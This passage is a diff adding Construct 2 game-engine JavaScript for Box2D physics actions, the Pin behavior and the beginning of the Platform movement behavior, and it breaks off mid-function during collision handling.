+ var velocity_vec = this.body.GetLinearVelocity();
+ var v, vx, vy;
+ if (which_ === 0) // X velocity
+ v = velocity_vec.x / worldScale;
+ else if (which_ === 1) // Y velocity
+ v = velocity_vec.y / worldScale;
+ else // Overall velocity
+ {
+ vx = velocity_vec.x / worldScale;
+ vy = velocity_vec.y / worldScale;
+ v = cr.distanceTo(0, 0, vx, vy);
+ }
+ return cr.do_cmp(v, cmp_, x_);
+ };
+ Cnds.prototype.CompareAngularVelocity = function (cmp_, x_)
+ {
+ if (!this.enabled)
+ return false;
+ var av = cr.to_degrees(this.body.GetAngularVelocity());
+ return cr.do_cmp(av, cmp_, x_);
+ };
+ Cnds.prototype.CompareMass = function (cmp_, x_)
+ {
+ if (!this.enabled)
+ return false;
+ var mass = this.body.GetMass() / worldScale;
+ return cr.do_cmp(mass, cmp_, x_);
+ };
+ Cnds.prototype.IsEnabled = function ()
+ {
+ return this.enabled;
+ };
+ behaviorProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.ApplyForce = function (fx, fy, imgpt)
+ {
+ if (!this.enabled)
+ return;
+ var x = this.getInstImgPointX(imgpt);
+ var y = this.getInstImgPointY(imgpt);
+ this.body.ApplyForce(b2Vec2.Get(fx, fy), b2Vec2.Get(x * worldScale, y * worldScale));
+ };
+ Acts.prototype.ApplyForceToward = function (f, px, py, imgpt)
+ {
+ if (!this.enabled)
+ return;
+ var x = this.getInstImgPointX(imgpt);
+ var y = this.getInstImgPointY(imgpt);
+ var a = cr.angleTo(x, y, px, py);
+ this.body.ApplyForce(b2Vec2.Get(Math.cos(a) * f, Math.sin(a) * f), b2Vec2.Get(x * worldScale, y * worldScale));
+ };
+ Acts.prototype.ApplyForceAtAngle = function (f, a, imgpt)
+ {
+ if (!this.enabled)
+ return;
+ a = cr.to_radians(a);
+ var x = this.getInstImgPointX(imgpt);
+ var y = this.getInstImgPointY(imgpt);
+ this.body.ApplyForce(b2Vec2.Get(Math.cos(a) * f, Math.sin(a) * f), b2Vec2.Get(x * worldScale, y * worldScale));
+ };
+ Acts.prototype.ApplyImpulse = function (fx, fy, imgpt)
+ {
+ if (!this.enabled)
+ return;
+ var x = this.getInstImgPointX(imgpt);
+ var y = this.getInstImgPointY(imgpt);
+ this.body.ApplyImpulse(b2Vec2.Get(fx, fy), b2Vec2.Get(x * worldScale, y * worldScale));
+ this.lastTickOverride = false;
+ this.lastKnownX = this.inst.x;
+ this.lastKnownY = this.inst.y;
+ };
+ Acts.prototype.ApplyImpulseToward = function (f, px, py, imgpt)
+ {
+ if (!this.enabled)
+ return;
+ var x = this.getInstImgPointX(imgpt);
+ var y = this.getInstImgPointY(imgpt);
+ var a = cr.angleTo(x, y, px, py);
+ this.body.ApplyImpulse(b2Vec2.Get(Math.cos(a) * f, Math.sin(a) * f), b2Vec2.Get(x * worldScale, y * worldScale));
+ this.lastTickOverride = false;
+ this.lastKnownX = this.inst.x;
+ this.lastKnownY = this.inst.y;
+ };
+ Acts.prototype.ApplyImpulseAtAngle = function (f, a, imgpt)
+ {
+ if (!this.enabled)
+ return;
+ a = cr.to_radians(a);
+ var x = this.getInstImgPointX(imgpt);
+ var y = this.getInstImgPointY(imgpt);
+ this.body.ApplyImpulse(b2Vec2.Get(Math.cos(a) * f, Math.sin(a) * f), b2Vec2.Get(x * worldScale, y * worldScale));
+ this.lastTickOverride = false;
+ this.lastKnownX = this.inst.x;
+ this.lastKnownY = this.inst.y;
+ };
+ Acts.prototype.ApplyTorque = function (m)
+ {
+ if (!this.enabled)
+ return;
+ this.body.ApplyTorque(cr.to_radians(m));
+ };
+ Acts.prototype.ApplyTorqueToAngle = function (m, a)
+ {
+ if (!this.enabled)
+ return;
+ m = cr.to_radians(m);
+ a = cr.to_radians(a);
+ if (cr.angleClockwise(this.inst.angle, a))
+ this.body.ApplyTorque(-m);
+ else
+ this.body.ApplyTorque(m);
+ };
+ Acts.prototype.ApplyTorqueToPosition = function (m, x, y)
+ {
+ if (!this.enabled)
+ return;
+ m = cr.to_radians(m);
+ var a = cr.angleTo(this.inst.x, this.inst.y, x, y);
+ if (cr.angleClockwise(this.inst.angle, a))
+ this.body.ApplyTorque(-m);
+ else
+ this.body.ApplyTorque(m);
+ };
+ Acts.prototype.SetAngularVelocity = function (v)
+ {
+ if (!this.enabled)
+ return;
+ this.body.SetAngularVelocity(cr.to_radians(v));
+ this.body.SetAwake(true);
+ };
+ Acts.prototype.CreateDistanceJoint = function (imgpt, obj, objimgpt, damping, freq)
+ {
+ if (!obj || !this.enabled)
+ return;
+ var otherinst = obj.getFirstPicked(this.inst);
+ if (!otherinst || otherinst == this.inst)
+ return;
+ if (!otherinst.extra.box2dbody)
+ return; // no physics behavior on other object
+ this.myCreatedJoints.push({type: 0, params: [imgpt, otherinst.uid, objimgpt, damping, freq]});
+ this.doCreateDistanceJoint(imgpt, otherinst.uid, objimgpt, damping, freq);
+ };
+ behinstProto.doCreateDistanceJoint = function (imgpt, otherinstuid, objimgpt, damping, freq)
+ {
+ if (!this.enabled)
+ return;
+ var otherinst = this.runtime.getObjectByUID(otherinstuid);
+ if (!otherinst || otherinst == this.inst || !otherinst.extra.box2dbody)
+ return;
+ otherinst.extra.box2dbody.c2userdata.joiningMe.add(this.inst);
+ var myx = this.getInstImgPointX(imgpt);
+ var myy = this.getInstImgPointY(imgpt);
+ var theirx, theiry;
+ if (otherinst.getImagePoint)
+ {
+ theirx = otherinst.getImagePoint(objimgpt, true);
+ theiry = otherinst.getImagePoint(objimgpt, false);
+ }
+ else
+ {
+ theirx = otherinst.x;
+ theiry = otherinst.y;
+ }
+ var dx = myx - theirx;
+ var dy = myy - theiry;
+ var jointDef = new b2DistanceJointDef();
+ jointDef.Initialize(this.body, otherinst.extra.box2dbody, b2Vec2.Get(myx * worldScale, myy * worldScale), b2Vec2.Get(theirx * worldScale, theiry * worldScale));
+ jointDef.length = Math.sqrt(dx*dx + dy*dy) * worldScale;
+ jointDef.dampingRatio = damping;
+ jointDef.frequencyHz = freq;
+ this.myJoints.push(this.world.CreateJoint(jointDef));
+ };
+ Acts.prototype.CreateRevoluteJoint = function (imgpt, obj)
+ {
+ if (!obj || !this.enabled)
+ return;
+ var otherinst = obj.getFirstPicked(this.inst);
+ if (!otherinst || otherinst == this.inst)
+ return;
+ if (!otherinst.extra.box2dbody)
+ return; // no physics behavior on other object
+ this.myCreatedJoints.push({type: 1, params: [imgpt, otherinst.uid]});
+ this.doCreateRevoluteJoint(imgpt, otherinst.uid);
+ };
+ behinstProto.doCreateRevoluteJoint = function (imgpt, otherinstuid)
+ {
+ if (!this.enabled)
+ return;
+ var otherinst = this.runtime.getObjectByUID(otherinstuid);
+ if (!otherinst || otherinst == this.inst || !otherinst.extra.box2dbody)
+ return;
+ otherinst.extra.box2dbody.c2userdata.joiningMe.add(this.inst);
+ var myx = this.getInstImgPointX(imgpt);
+ var myy = this.getInstImgPointY(imgpt);
+ var jointDef = new b2RevoluteJointDef();
+ jointDef.Initialize(this.body, otherinst.extra.box2dbody, b2Vec2.Get(myx * worldScale, myy * worldScale));
+ this.myJoints.push(this.world.CreateJoint(jointDef));
+ };
+ Acts.prototype.CreateLimitedRevoluteJoint = function (imgpt, obj, lower, upper)
+ {
+ if (!obj || !this.enabled)
+ return;
+ var otherinst = obj.getFirstPicked(this.inst);
+ if (!otherinst || otherinst == this.inst)
+ return;
+ if (!otherinst.extra.box2dbody)
+ return; // no physics behavior on other object
+ this.myCreatedJoints.push({type: 2, params: [imgpt, otherinst.uid, lower, upper]});
+ this.doCreateLimitedRevoluteJoint(imgpt, otherinst.uid, lower, upper);
+ };
+ behinstProto.doCreateLimitedRevoluteJoint = function (imgpt, otherinstuid, lower, upper)
+ {
+ if (!this.enabled)
+ return;
+ var otherinst = this.runtime.getObjectByUID(otherinstuid);
+ if (!otherinst || otherinst == this.inst || !otherinst.extra.box2dbody)
+ return;
+ otherinst.extra.box2dbody.c2userdata.joiningMe.add(this.inst);
+ var myx = this.getInstImgPointX(imgpt);
+ var myy = this.getInstImgPointY(imgpt);
+ var jointDef = new b2RevoluteJointDef();
+ jointDef.Initialize(this.body, otherinst.extra.box2dbody, b2Vec2.Get(myx * worldScale, myy * worldScale));
+ jointDef.enableLimit = true;
+ jointDef.lowerAngle = cr.to_radians(lower);
+ jointDef.upperAngle = cr.to_radians(upper);
+ this.myJoints.push(this.world.CreateJoint(jointDef));
+ };
+ Acts.prototype.SetWorldGravity = function (g)
+ {
+ if (g === this.behavior.worldG)
+ return;
+ this.world.SetGravity(b2Vec2.Get(0, g));
+ this.behavior.worldG = g;
+ var i, len, arr = this.behavior.my_instances.valuesRef();
+ for (i = 0, len = arr.length; i < len; i++)
+ {
+ if (arr[i].extra.box2dbody)
+ arr[i].extra.box2dbody.SetAwake(true);
+ }
+ };
+ Acts.prototype.SetSteppingMode = function (mode)
+ {
+ this.behavior.steppingMode = mode;
+ };
+ Acts.prototype.SetIterations = function (vel, pos)
+ {
+ if (vel < 1) vel = 1;
+ if (pos < 1) pos = 1;
+ this.behavior.velocityIterations = vel;
+ this.behavior.positionIterations = pos;
+ };
+ Acts.prototype.SetVelocity = function (vx, vy)
+ {
+ if (!this.enabled)
+ return;
+ this.body.SetLinearVelocity(b2Vec2.Get(vx * worldScale, vy * worldScale));
+ this.body.SetAwake(true);
+ this.lastTickOverride = false;
+ this.lastKnownX = this.inst.x;
+ this.lastKnownY = this.inst.y;
+ };
+ Acts.prototype.SetDensity = function (d)
+ {
+ if (!this.enabled)
+ return;
+ if (this.density === d)
+ return;
+ this.density = d;
+ this.recreateBody = true;
+ };
+ Acts.prototype.SetFriction = function (f)
+ {
+ if (!this.enabled)
+ return;
+ if (this.friction === f)
+ return;
+ this.friction = f;
+ this.recreateBody = true;
+ };
+ Acts.prototype.SetElasticity = function (e)
+ {
+ if (!this.enabled)
+ return;
+ if (this.restitution === e)
+ return;
+ this.restitution = e;
+ this.recreateBody = true;
+ };
+ Acts.prototype.SetLinearDamping = function (ld)
+ {
+ if (!this.enabled)
+ return;
+ if (this.linearDamping === ld)
+ return;
+ this.linearDamping = ld;
+ this.body.SetLinearDamping(ld);
+ };
+ Acts.prototype.SetAngularDamping = function (ad)
+ {
+ if (!this.enabled)
+ return;
+ if (this.angularDamping === ad)
+ return;
+ this.angularDamping = ad;
+ this.body.SetAngularDamping(ad);
+ };
+ Acts.prototype.SetImmovable = function (i)
+ {
+ if (!this.enabled)
+ return;
+ if (this.immovable === (i !== 0))
+ return;
+ this.immovable = (i !== 0);
+ this.body.SetType(this.immovable ? 0 /*b2BodyDef.b2_staticBody*/ : 2 /*b2BodyDef.b2_dynamicBody*/);
+ this.body.SetAwake(true);
+ };
+ function SetCollisionsEnabled(typeA, typeB, state)
+ {
+ var s;
+ if (state)
+ {
+ s = typeA.extra["Physics_DisabledCollisions"];
+ if (s)
+ s.remove(typeB);
+ s = typeB.extra["Physics_DisabledCollisions"];
+ if (s)
+ s.remove(typeA);
+ }
+ else
+ {
+ if (!typeA.extra["Physics_DisabledCollisions"])
+ typeA.extra["Physics_DisabledCollisions"] = new cr.ObjectSet();
+ typeA.extra["Physics_DisabledCollisions"].add(typeB);
+ if (!typeB.extra["Physics_DisabledCollisions"])
+ typeB.extra["Physics_DisabledCollisions"] = new cr.ObjectSet();
+ typeB.extra["Physics_DisabledCollisions"].add(typeA);
+ }
+ };
+ Acts.prototype.EnableCollisions = function (obj, state)
+ {
+ if (!obj || !this.enabled)
+ return;
+ var i, len;
+ if (obj.is_family)
+ {
+ for (i = 0, len = obj.members.length; i < len; i++)
+ {
+ SetCollisionsEnabled(this.inst.type, obj.members[i], state !== 0);
+ }
+ }
+ else
+ {
+ SetCollisionsEnabled(this.inst.type, obj, state !== 0);
+ }
+ this.behavior.allCollisionsEnabled = false;
+ };
+ Acts.prototype.SetPreventRotate = function (i)
+ {
+ if (!this.enabled)
+ return;
+ if (this.preventRotation === (i !== 0))
+ return;
+ this.preventRotation = (i !== 0);
+ this.body.SetFixedRotation(this.preventRotation);
+ this.body.m_torque = 0;
+ this.body.SetAngularVelocity(0);
+ this.body.SetAwake(true);
+ };
+ Acts.prototype.SetBullet = function (i)
+ {
+ if (!this.enabled)
+ return;
+ if (this.bullet === (i !== 0))
+ return;
+ this.bullet = (i !== 0);
+ this.body.SetBullet(this.bullet);
+ this.body.SetAwake(true);
+ };
+ Acts.prototype.RemoveJoints = function ()
+ {
+ if (!this.enabled)
+ return;
+ this.destroyMyJoints();
+ this.myCreatedJoints.length = 0;
+ this.joiningMe.clear();
+ };
+ Acts.prototype.SetEnabled = function (e)
+ {
+ if (this.enabled && e === 0)
+ {
+ this.destroyBody();
+ this.enabled = false;
+ }
+ else if (!this.enabled && e === 1)
+ {
+ this.enabled = true;
+ this.createBody();
+ }
+ };
+ behaviorProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.VelocityX = function (ret)
+ {
+ ret.set_float(this.enabled ? this.body.GetLinearVelocity().x / worldScale : 0);
+ };
+ Exps.prototype.VelocityY = function (ret)
+ {
+ ret.set_float(this.enabled ? this.body.GetLinearVelocity().y / worldScale : 0);
+ };
+ Exps.prototype.AngularVelocity = function (ret)
+ {
+ ret.set_float(this.enabled ? cr.to_degrees(this.body.GetAngularVelocity()) : 0);
+ };
+ Exps.prototype.Mass = function (ret)
+ {
+ ret.set_float(this.enabled ? this.body.GetMass() / worldScale : 0);
+ };
+ Exps.prototype.CenterOfMassX = function (ret)
+ {
+ ret.set_float(this.enabled ? (this.body.GetPosition().x + this.body.GetLocalCenter().x) / worldScale : 0);
+ };
+ Exps.prototype.CenterOfMassY = function (ret)
+ {
+ ret.set_float(this.enabled ? (this.body.GetPosition().y + this.body.GetLocalCenter().y) / worldScale : 0);
+ };
+ Exps.prototype.Density = function (ret)
+ {
+ ret.set_float(this.enabled ? this.density : 0);
+ };
+ Exps.prototype.Friction = function (ret)
+ {
+ ret.set_float(this.enabled ? this.friction : 0);
+ };
+ Exps.prototype.Elasticity = function (ret)
+ {
+ ret.set_float(this.enabled ? this.restitution : 0);
+ };
+ Exps.prototype.LinearDamping = function (ret)
+ {
+ ret.set_float(this.enabled ? this.linearDamping : 0);
+ };
+ Exps.prototype.AngularDamping = function (ret)
+ {
+ ret.set_float(this.enabled ? this.angularDamping : 0);
+ };
+ behaviorProto.exps = new Exps();
+}());
+;
+;
+cr.behaviors.Pin = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var behaviorProto = cr.behaviors.Pin.prototype;
+ behaviorProto.Type = function(behavior, objtype)
+ {
+ this.behavior = behavior;
+ this.objtype = objtype;
+ this.runtime = behavior.runtime;
+ };
+ var behtypeProto = behaviorProto.Type.prototype;
+ behtypeProto.onCreate = function()
+ {
+ };
+ behaviorProto.Instance = function(type, inst)
+ {
+ this.type = type;
+ this.behavior = type.behavior;
+ this.inst = inst; // associated object instance to modify
+ this.runtime = type.runtime;
+ };
+ var behinstProto = behaviorProto.Instance.prototype;
+ behinstProto.onCreate = function()
+ {
+ this.pinObject = null;
+ this.pinObjectUid = -1; // for loading
+ this.pinAngle = 0;
+ this.pinDist = 0;
+ this.myStartAngle = 0;
+ this.theirStartAngle = 0;
+ this.lastKnownAngle = 0;
+ this.mode = 0; // 0 = position & angle; 1 = position; 2 = angle; 3 = rope; 4 = bar
+ var self = this;
+ if (!this.recycled)
+ {
+ this.myDestroyCallback = (function(inst) {
+ self.onInstanceDestroyed(inst);
+ });
+ }
+ this.runtime.addDestroyCallback(this.myDestroyCallback);
+ };
+ behinstProto.saveToJSON = function ()
+ {
+ return {
+ "uid": this.pinObject ? this.pinObject.uid : -1,
+ "pa": this.pinAngle,
+ "pd": this.pinDist,
+ "msa": this.myStartAngle,
+ "tsa": this.theirStartAngle,
+ "lka": this.lastKnownAngle,
+ "m": this.mode
+ };
+ };
+ behinstProto.loadFromJSON = function (o)
+ {
+ this.pinObjectUid = o["uid"]; // wait until afterLoad to look up
+ this.pinAngle = o["pa"];
+ this.pinDist = o["pd"];
+ this.myStartAngle = o["msa"];
+ this.theirStartAngle = o["tsa"];
+ this.lastKnownAngle = o["lka"];
+ this.mode = o["m"];
+ };
+ behinstProto.afterLoad = function ()
+ {
+ if (this.pinObjectUid === -1)
+ this.pinObject = null;
+ else
+ {
+ this.pinObject = this.runtime.getObjectByUID(this.pinObjectUid);
+;
+ }
+ this.pinObjectUid = -1;
+ };
+ behinstProto.onInstanceDestroyed = function (inst)
+ {
+ if (this.pinObject == inst)
+ this.pinObject = null;
+ };
+ behinstProto.onDestroy = function()
+ {
+ this.pinObject = null;
+ this.runtime.removeDestroyCallback(this.myDestroyCallback);
+ };
+ behinstProto.tick = function ()
+ {
+ };
+ behinstProto.tick2 = function ()
+ {
+ if (!this.pinObject)
+ return;
+ if (this.lastKnownAngle !== this.inst.angle)
+ this.myStartAngle = cr.clamp_angle(this.myStartAngle + (this.inst.angle - this.lastKnownAngle));
+ var newx = this.inst.x;
+ var newy = this.inst.y;
+ if (this.mode === 3 || this.mode === 4) // rope mode or bar mode
+ {
+ var dist = cr.distanceTo(this.inst.x, this.inst.y, this.pinObject.x, this.pinObject.y);
+ if ((dist > this.pinDist) || (this.mode === 4 && dist < this.pinDist))
+ {
+ var a = cr.angleTo(this.pinObject.x, this.pinObject.y, this.inst.x, this.inst.y);
+ newx = this.pinObject.x + Math.cos(a) * this.pinDist;
+ newy = this.pinObject.y + Math.sin(a) * this.pinDist;
+ }
+ }
+ else
+ {
+ newx = this.pinObject.x + Math.cos(this.pinObject.angle + this.pinAngle) * this.pinDist;
+ newy = this.pinObject.y + Math.sin(this.pinObject.angle + this.pinAngle) * this.pinDist;
+ }
+ var newangle = cr.clamp_angle(this.myStartAngle + (this.pinObject.angle - this.theirStartAngle));
+ this.lastKnownAngle = newangle;
+ if ((this.mode === 0 || this.mode === 1 || this.mode === 3 || this.mode === 4)
+ && (this.inst.x !== newx || this.inst.y !== newy))
+ {
+ this.inst.x = newx;
+ this.inst.y = newy;
+ this.inst.set_bbox_changed();
+ }
+ if ((this.mode === 0 || this.mode === 2) && (this.inst.angle !== newangle))
+ {
+ this.inst.angle = newangle;
+ this.inst.set_bbox_changed();
+ }
+ };
+ function Cnds() {};
+ Cnds.prototype.IsPinned = function ()
+ {
+ return !!this.pinObject;
+ };
+ behaviorProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.Pin = function (obj, mode_)
+ {
+ if (!obj)
+ return;
+ var otherinst = obj.getFirstPicked(this.inst);
+ if (!otherinst)
+ return;
+ this.pinObject = otherinst;
+ this.pinAngle = cr.angleTo(otherinst.x, otherinst.y, this.inst.x, this.inst.y) - otherinst.angle;
+ this.pinDist = cr.distanceTo(otherinst.x, otherinst.y, this.inst.x, this.inst.y);
+ this.myStartAngle = this.inst.angle;
+ this.lastKnownAngle = this.inst.angle;
+ this.theirStartAngle = otherinst.angle;
+ this.mode = mode_;
+ };
+ Acts.prototype.Unpin = function ()
+ {
+ this.pinObject = null;
+ };
+ behaviorProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.PinnedUID = function (ret)
+ {
+ ret.set_int(this.pinObject ? this.pinObject.uid : -1);
+ };
+ behaviorProto.exps = new Exps();
+}());
+;
+;
+cr.behaviors.Platform = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var behaviorProto = cr.behaviors.Platform.prototype;
+ behaviorProto.Type = function(behavior, objtype)
+ {
+ this.behavior = behavior;
+ this.objtype = objtype;
+ this.runtime = behavior.runtime;
+ };
+ var behtypeProto = behaviorProto.Type.prototype;
+ behtypeProto.onCreate = function()
+ {
+ };
+ var ANIMMODE_STOPPED = 0;
+ var ANIMMODE_MOVING = 1;
+ var ANIMMODE_JUMPING = 2;
+ var ANIMMODE_FALLING = 3;
+ behaviorProto.Instance = function(type, inst)
+ {
+ this.type = type;
+ this.behavior = type.behavior;
+ this.inst = inst; // associated object instance to modify
+ this.runtime = type.runtime;
+ this.leftkey = false;
+ this.rightkey = false;
+ this.jumpkey = false;
+ this.jumped = false; // prevent bunnyhopping
+ this.doubleJumped = false;
+ this.canDoubleJump = false;
+ this.ignoreInput = false;
+ this.simleft = false;
+ this.simright = false;
+ this.simjump = false;
+ this.lastFloorObject = null;
+ this.loadFloorObject = -1;
+ this.lastFloorX = 0;
+ this.lastFloorY = 0;
+ this.floorIsJumpthru = false;
+ this.animMode = ANIMMODE_STOPPED;
+ this.fallthrough = 0; // fall through jump-thru. >0 to disable, lasts a few ticks
+ this.firstTick = true;
+ this.dx = 0;
+ this.dy = 0;
+ };
+ var behinstProto = behaviorProto.Instance.prototype;
+ behinstProto.updateGravity = function()
+ {
+ this.downx = Math.cos(this.ga);
+ this.downy = Math.sin(this.ga);
+ this.rightx = Math.cos(this.ga - Math.PI / 2);
+ this.righty = Math.sin(this.ga - Math.PI / 2);
+ this.downx = cr.round6dp(this.downx);
+ this.downy = cr.round6dp(this.downy);
+ this.rightx = cr.round6dp(this.rightx);
+ this.righty = cr.round6dp(this.righty);
+ this.g1 = this.g;
+ if (this.g < 0)
+ {
+ this.downx *= -1;
+ this.downy *= -1;
+ this.g = Math.abs(this.g);
+ }
+ };
+ behinstProto.onCreate = function()
+ {
+ this.maxspeed = this.properties[0];
+ this.acc = this.properties[1];
+ this.dec = this.properties[2];
+ this.jumpStrength = this.properties[3];
+ this.g = this.properties[4];
+ this.g1 = this.g;
+ this.maxFall = this.properties[5];
+ this.enableDoubleJump = (this.properties[6] !== 0); // 0=disabled, 1=enabled
+ this.jumpSustain = (this.properties[7] / 1000); // convert ms to s
+ this.defaultControls = (this.properties[8] === 1); // 0=no, 1=yes
+ this.enabled = (this.properties[9] !== 0);
+ this.wasOnFloor = false;
+ this.wasOverJumpthru = this.runtime.testOverlapJumpThru(this.inst);
+ this.loadOverJumpthru = -1;
+ this.sustainTime = 0; // time of jump sustain remaining
+ this.ga = cr.to_radians(90);
+ this.updateGravity();
+ var self = this;
+ if (this.defaultControls && !this.runtime.isDomFree)
+ {
+ jQuery(document).keydown(function(info) {
+ self.onKeyDown(info);
+ });
+ jQuery(document).keyup(function(info) {
+ self.onKeyUp(info);
+ });
+ }
+ if (!this.recycled)
+ {
+ this.myDestroyCallback = function(inst) {
+ self.onInstanceDestroyed(inst);
+ };
+ }
+ this.runtime.addDestroyCallback(this.myDestroyCallback);
+ this.inst.extra["isPlatformBehavior"] = true;
+ };
+ behinstProto.saveToJSON = function ()
+ {
+ return {
+ "ii": this.ignoreInput,
+ "lfx": this.lastFloorX,
+ "lfy": this.lastFloorY,
+ "lfo": (this.lastFloorObject ? this.lastFloorObject.uid : -1),
+ "am": this.animMode,
+ "en": this.enabled,
+ "fall": this.fallthrough,
+ "ft": this.firstTick,
+ "dx": this.dx,
+ "dy": this.dy,
+ "ms": this.maxspeed,
+ "acc": this.acc,
+ "dec": this.dec,
+ "js": this.jumpStrength,
+ "g": this.g,
+ "g1": this.g1,
+ "mf": this.maxFall,
+ "wof": this.wasOnFloor,
+ "woj": (this.wasOverJumpthru ? this.wasOverJumpthru.uid : -1),
+ "ga": this.ga,
+ "edj": this.enableDoubleJump,
+ "cdj": this.canDoubleJump,
+ "dj": this.doubleJumped,
+ "sus": this.jumpSustain
+ };
+ };
+ behinstProto.loadFromJSON = function (o)
+ {
+ this.ignoreInput = o["ii"];
+ this.lastFloorX = o["lfx"];
+ this.lastFloorY = o["lfy"];
+ this.loadFloorObject = o["lfo"];
+ this.animMode = o["am"];
+ this.enabled = o["en"];
+ this.fallthrough = o["fall"];
+ this.firstTick = o["ft"];
+ this.dx = o["dx"];
+ this.dy = o["dy"];
+ this.maxspeed = o["ms"];
+ this.acc = o["acc"];
+ this.dec = o["dec"];
+ this.jumpStrength = o["js"];
+ this.g = o["g"];
+ this.g1 = o["g1"];
+ this.maxFall = o["mf"];
+ this.wasOnFloor = o["wof"];
+ this.loadOverJumpthru = o["woj"];
+ this.ga = o["ga"];
+ this.enableDoubleJump = o["edj"];
+ this.canDoubleJump = o["cdj"];
+ this.doubleJumped = o["dj"];
+ this.jumpSustain = o["sus"];
+ this.leftkey = false;
+ this.rightkey = false;
+ this.jumpkey = false;
+ this.jumped = false;
+ this.simleft = false;
+ this.simright = false;
+ this.simjump = false;
+ this.sustainTime = 0;
+ this.updateGravity();
+ };
+ behinstProto.afterLoad = function ()
+ {
+ if (this.loadFloorObject === -1)
+ this.lastFloorObject = null;
+ else
+ this.lastFloorObject = this.runtime.getObjectByUID(this.loadFloorObject);
+ if (this.loadOverJumpthru === -1)
+ this.wasOverJumpthru = null;
+ else
+ this.wasOverJumpthru = this.runtime.getObjectByUID(this.loadOverJumpthru);
+ };
+ behinstProto.onInstanceDestroyed = function (inst)
+ {
+ if (this.lastFloorObject == inst)
+ this.lastFloorObject = null;
+ };
+ behinstProto.onDestroy = function ()
+ {
+ this.lastFloorObject = null;
+ this.runtime.removeDestroyCallback(this.myDestroyCallback);
+ };
+ behinstProto.onKeyDown = function (info)
+ {
+ switch (info.which) {
+ case 38: // up
+ info.preventDefault();
+ this.jumpkey = true;
+ break;
+ case 37: // left
+ info.preventDefault();
+ this.leftkey = true;
+ break;
+ case 39: // right
+ info.preventDefault();
+ this.rightkey = true;
+ break;
+ }
+ };
+ behinstProto.onKeyUp = function (info)
+ {
+ switch (info.which) {
+ case 38: // up
+ info.preventDefault();
+ this.jumpkey = false;
+ this.jumped = false;
+ break;
+ case 37: // left
+ info.preventDefault();
+ this.leftkey = false;
+ break;
+ case 39: // right
+ info.preventDefault();
+ this.rightkey = false;
+ break;
+ }
+ };
+ behinstProto.onWindowBlur = function ()
+ {
+ this.leftkey = false;
+ this.rightkey = false;
+ this.jumpkey = false;
+ };
+ behinstProto.getGDir = function ()
+ {
+ if (this.g < 0)
+ return -1;
+ else
+ return 1;
+ };
+ behinstProto.isOnFloor = function ()
+ {
+ var ret = null;
+ var ret2 = null;
+ var i, len, j;
+ var oldx = this.inst.x;
+ var oldy = this.inst.y;
+ this.inst.x += this.downx;
+ this.inst.y += this.downy;
+ this.inst.set_bbox_changed();
+ if (this.lastFloorObject && this.runtime.testOverlap(this.inst, this.lastFloorObject) &&
+ (!this.runtime.typeHasBehavior(this.lastFloorObject.type, cr.behaviors.solid) || this.lastFloorObject.extra["solidEnabled"]))
+ {
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ return this.lastFloorObject;
+ }
+ else
+ {
+ ret = this.runtime.testOverlapSolid(this.inst);
+ if (!ret && this.fallthrough === 0)
+ ret2 = this.runtime.testOverlapJumpThru(this.inst, true);
+ this.inst.x = oldx;
+ this.inst.y = oldy;
+ this.inst.set_bbox_changed();
+ if (ret) // was overlapping solid
+ {
+ if (this.runtime.testOverlap(this.inst, ret))
+ return null;
+ else
+ {
+ this.floorIsJumpthru = false;
+ return ret;
+ }
+ }
+ if (ret2 && ret2.length)
+ {
+ for (i = 0, j = 0, len = ret2.length; i < len; i++)
+ {
+ ret2[j] = ret2[i];
+ if (!this.runtime.testOverlap(this.inst, ret2[i]))
+ j++;
+ }
+ if (j >= 1)
+ {
+ this.floorIsJumpthru = true;
+ return ret2[0];
+ }
+ }
+ return null;
+ }
+ };
+ behinstProto.tick = function ()
+ {
+ };
+ behinstProto.posttick = function ()
+ {
+ var dt = this.runtime.getDt(this.inst);
+ var mx, my, obstacle, mag, allover, i, len, j, oldx, oldy;
+ if (!this.jumpkey && !this.simjump)
+ this.jumped = false;
+ var left = this.leftkey || this.simleft;
+ var right = this.rightkey || this.simright;
+ var jumpkey = (this.jumpkey || this.simjump);
+ var jump = jumpkey && !this.jumped;
+ this.simleft = false;
+ this.simright = false;
+ this.simjump = false;
+ if (!this.enabled)
+ return;
+ if (this.ignoreInput)
+ {
+ left = false;
+ right = false;
+ jumpkey = false;
+ jump = false;
+ }
+ if (!jumpkey)
+ this.sustainTime = 0;
+ var lastFloor = this.lastFloorObject;
+ var floor_moved = false;
+ if (this.firstTick)
+ {
+ if (this.runtime.testOverlapSolid(this.inst) || this.runtime.testOverlapJumpThru(this.inst))
+ {
+ this.runtime.pushOutSolid(this.inst, -this.downx, -this.downy, 4, true);
+ }
+ this.firstTick = false;
+ }
+ if (lastFloor && this.dy === 0 && (lastFloor.y !== this.lastFloorY || lastFloor.x !== this.lastFloorX))
+ {
+ mx = (lastFloor.x - this.lastFloorX);
+ my = (lastFloor.y - this.lastFloorY);
+ this.inst.x += mx;
+ this.inst.y += my;
+ this.inst.set_bbox_changed();
+ this.lastFloorX = lastFloor.x;
+ this.lastFloorY = lastFloor.y;
+ floor_moved = true;
+ if (this.runtime.testOverlapSolid(this.inst))
+ {
+ this.runtime.pushOutSolid(this.inst, -mx, -my, Math.sqrt(mx * mx + my * my) * 2.5);
+ }
+ }
+ var floor_ = this.isOnFloor();
+ var collobj = this.runtime.testOverlapSolid(this.inst);
+ if (collobj)
+ {
+ var instWidth = Math.abs(this.inst.width);
+ var instHeight = Math.abs(this.inst.height);
+ if (this.inst.extra["inputPredicted"])
+ {
+ this.runtime.pushOutSolid(this.inst, -this.downx, -this.downy, 10, false);
+ }
+ else if (this.runtime.pushOutSolidAxis(this.inst, -this.downx, -this.downy, instHeight / 8))
+ {
+ this.runtime.registerCollision(this.inst, collobj);
+ }
+ else if (this.runtime.pushOutSolidAxis(this.inst, this.rightx, this.righty, instWidth / 2))
+ {
+ this.runtime.registerCollision(this.inst, collobj);
+ }
+ else if (this.runtime.pushOutSolidAxis(this.inst, this.downx, this.downy, instHeight / 2))
+ {
+ this.runtime.registerCollision(this.inst, collobj);
+ }
+ else if (this.runtime.pushOutSolidNearest(this.inst, Math.max(instWidth, instHeight) / 2))
+ {
